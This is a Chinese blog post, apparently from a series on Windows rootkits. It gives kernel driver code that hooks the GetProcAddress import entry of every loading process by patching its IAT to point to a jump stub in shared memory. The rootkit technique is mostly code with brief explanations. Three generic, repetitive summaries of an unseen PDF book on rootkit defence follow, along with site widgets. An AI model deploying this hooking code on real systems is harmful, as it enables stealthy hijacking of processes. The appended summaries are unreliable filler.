Rootkits——windows内核的安全防护(3)

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, 
					 IN PUNICODE_STRING theRegistryPath)
{
	NTSTATUS ntStatus;
	gb_Hooked = FALSE; // We have not hooked yet

	ntStatus = PsSetLoadImageNotifyRoutine(MyImageLoadNotify);

    return ntStatus;
}
<p>在驱动入口处加入一个通知例程,当可执行程序被加载的时候,我们的函数会得到通知,然后在我们的函数里面调用相应的函数对可执行文件的IAT进行填充。</p><pre code_snippet_id="251431" snippet_file_name="blog_20140323_2_5231287" class="cpp" name="code">VOID MyImageLoadNotify(IN PUNICODE_STRING  FullImageName,
                       IN HANDLE  ProcessId, // Process where image is mapped
					   IN PIMAGE_INFO  ImageInfo)
{
		HookImportsOfImage(ImageInfo->ImageBase, ProcessId);
}

在IAT填充函数当中,程序首先找到函数导入表,然后循环搜索整个函数导入表,直到找到我们所需要挂钩的函数导入表或者搜索完所有的函数导入表。假设关于某一个特定的DLL库的文件导入表存在于我们的PE文件当中,那么就搜索这个文件导入表的整个导入函数,看看是否有我们需要的导入函数,如果有就将这个函数在IAT当中的函数地址换成我们的函数地址。

NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc)

{

PIMAGE_DOS_HEADER dosHeader;

PIMAGE_NT_HEADERS pNTHeader;

PIMAGE_IMPORT_DESCRIPTOR importDesc;

PIMAGE_IMPORT_BY_NAME p_ibn;

DWORD importsStartRVA;

PDWORD pd_IAT, pd_INTO;

int count, index;

char *dll_name = NULL;

char *pc_dlltar = "kernel32.dll";

char *pc_fnctar = "GetProcAddress";

PMDL  p_mdl;

PDWORD MappedImTable;

DWORD d_sharedM = 0x7ffe0800;

DWORD d_sharedK = 0xffdf0800; 

unsigned char new_code[] = { 

0x90,                          // NOP make INT 3 to see

0xb8, 0xff, 0xff, 0xff, 0xff,  // mov eax, 0xffffffff

0xff, 0xe0                     // jmp eax

};

dosHeader = (PIMAGE_DOS_HEADER) image_addr;

 

pNTHeader = MakePtr( PIMAGE_NT_HEADERS, dosHeader,

dosHeader->e_lfanew );

//这一段通过PE文件的DOS头部,生成相应的NT头部

if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )

return STATUS_INVALID_IMAGE_FORMAT;

//验证NT头部是否是正常的NT头部

importsStartRVA = pNTHeader->OptionalHeader.DataDirectory

[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

//通过NT头部的数据目录表得到相应的RVA。因为我们的数据目录不是以绝对地址来寻址,所以需要这一项。

if (!importsStartRVA)

return STATUS_INVALID_IMAGE_FORMAT;

 

importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA + (DWORD) dosHeader);

//通过上面的RVA寻址到相应的导入表

for (count = 0; importDesc[count].Characteristics != 0; count++)

{

dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader);

pd_IAT = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].FirstThunk);

pd_INTO = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk);

 

for (index = 0; pd_IAT[index] != 0; index++)

{

if ((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)

{//这个验证是要剔除函数以序号调用的情况

p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index]+((DWORD) dosHeader));

if ((_stricmp(dll_name, pc_dlltar) == 0) && \

(strcmp(p_ibn->Name, pc_fnctar) == 0))

{//假设找到我们想要的DLL导入表,并且在导入表当中找到相应的导入函数名字,则进行挂钩

p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);

if(!p_mdl)

return STATUS_UNSUCCESSFUL;

//首先建立一个到相应导入函数的MDL内存描述映射表

MmBuildMdlForNonPagedPool(p_mdl);

 

p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

 

MappedImTable = MmMapLockedPages(p_mdl, KernelMode);

//然后改变相应的内存模式,是这一块内存是非换出的

if (!gb_Hooked)

{

RtlCopyMemory((PVOID)d_sharedK, new_code, 8);

RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)&pd_IAT[index], 4);

gb_Hooked = TRUE;

//在这里进行真正的挂钩,由二进制指令可以看到,这里实际上就是跳转到IAT执行

}

*MappedImTable = d_sharedM;

//由于在windows下面有一个在内核模式和用户模式下面共享的数据段,所以这里实际上是将d_sharedK与需要加载的PE文件的IAT进行挂钩,由于上面是在内核模式下操作,所以用共享内存的内核模式端,而PE文件的IAT是在用户模式,所以这里用用户模式端。

MmUnmapLockedPages(MappedImTable, p_mdl);

IoFreeMdl(p_mdl);

 

}

}

}

}

return STATUS_SUCCESS;

}

 
 

                
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: rootkits——windows内核安全防护是一本针对Windows操作系统的内核级别安全防护的PDF文档。这本文档主要涵盖了rootkits的定义、特征、工作原理、攻击方式以及防御方法等内容。 首先,rootkits是一种恶意软件,通过植入操作系统内核来隐藏自身并实施攻击。文档详细介绍了rootkits的特征,例如可以修改系统内核代码、隐藏进程和文件等,从而使其在操作系统中隐蔽存在。 文档还解释了rootkits的工作原理,即通过劫持系统调用、Hook函数和修改系统数据结构等方式来实现恶意行为。同时,文档还介绍了rootkits使用的主要攻击方式,如键盘记录、远程控制、网络欺骗等。 为了帮助用户保护自己的系统免受rootkits的攻击,该文档提供了一些防御方法。例如,通过实时监控系统进程、文件和注册表的变化,及时检测和阻止rootkits的安装和运行;使用可信任的安全软件进行系统扫描和漏洞修复;定期更新操作系统和应用程序的安全补丁等。 此外,文档还提供了一些用于检测和清除rootkits的工具和技术,如反rootkit软件、恶意代码扫描器等。这些工具可以帮助用户及时发现和清除系统中已经存在的rootkits。 总的来说,rootkits——windows内核安全防护这本PDF文档详细介绍了rootkits的定义、工作原理、攻击方式以及防御方法。对于那些希望了解和加强Windows系统安全性的用户来说,这本文档是一份宝贵的参考资料。 ### 回答2: rootkits是一种恶意软件,能够隐藏在操作系统内核中,并且在被感染的计算机上实施恶意活动。它们可以完全控制系统,并且能够绕过传统的安全防护措施。为了确保计算机系统的安全Windows内核安全防护PDF提供了一种防范rootkits的方法。 首先,PDF文件详细介绍了rootkits的工作原理和其入侵系统的方式。这使得用户能够了解到rootkits的特征以及它们可能对计算机造成的危害。了解敌人才能更好地进行防范。 其次,PDF文件提供了关于如何检测和清除rootkits的指南。通过使用一些专业的工具和技术,用户可以发现并清除被rootkits感染的系统。这些工具可以扫描内核并查找任何异常行为,以及寻找rootkits常用的隐藏技术。通过及时发现和清除rootkits,可以最大限度地保护系统免受恶意活动的威胁。 此外,PDF文件还提供了一些加强系统安全的建议。比如,更新操作系统和应用程序,使用强密码保护帐户和网络连接,以及限制对敏感文件和设置的访问权限等等。这些措施可以帮助用户防止rootkits和其他恶意软件的入侵。 最后,PDF文件还介绍了一些未来的趋势和建议,以进一步提高Windows内核安全性。这些建议包括加强内核的隔离性,采用虚拟化技术进行保护,以及实施更严格的访问控制等。这些措施将有助于加强系统的安全性,并提高对rootkits的抵御能力。 总的来说,Windows内核安全防护PDF是一份有价值的文档,提供了对抗rootkits的指南和建议。通过采取相应的措施,用户可以保护系统免受rootkits的威胁,并提高整体的安全性。 ### 回答3: rootkits是一种针对Windows操作系统的恶意软件,它们通过在操作系统内核中植入恶意代码,可以隐藏自身的存在并在系统启动时加载运行。rootkits通过修改关键的系统文件、进程和注册表项等方式,使恶意软件难以被发现和清除。 《rootkits——windows内核安全防护》这本PDF书籍探讨了如何保护Windows内核免受rootkits的攻击。书中首先介绍了rootkits的原理和工作方式,包括rootkits的分类、入侵方式和隐藏技术等。然后,书中深入讲解了一些重要的内核安全技术,如代码签名、驱动程序的安全性和安全的加载和验证过程等。书中还提供了一些常见的rootkits检测和清除工具,以帮助用户发现和清除系统中的恶意软件。 此外,书中还介绍了一些预防rootkits攻击的措施和最佳实践。例如,强化系统安全性、定期更新操作系统和安全软件、限制管理员权限、使用防火墙和入侵检测系统等。这些措施可以有效减少系统被rootkits攻击的风险。 总之,《rootkits——windows内核安全防护》这本PDF书籍全面讲解了如何保护Windows内核免受rootkits攻击的方法和技术。它可以帮助用户了解rootkits的工作原理,并提供了一些重要的内核安全技术和预防措施,以增强系统的安全性和防御能力。对于IT安全从业人员和对计算机安全感兴趣的人来说,这本书是一本不可或缺的参考资料。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值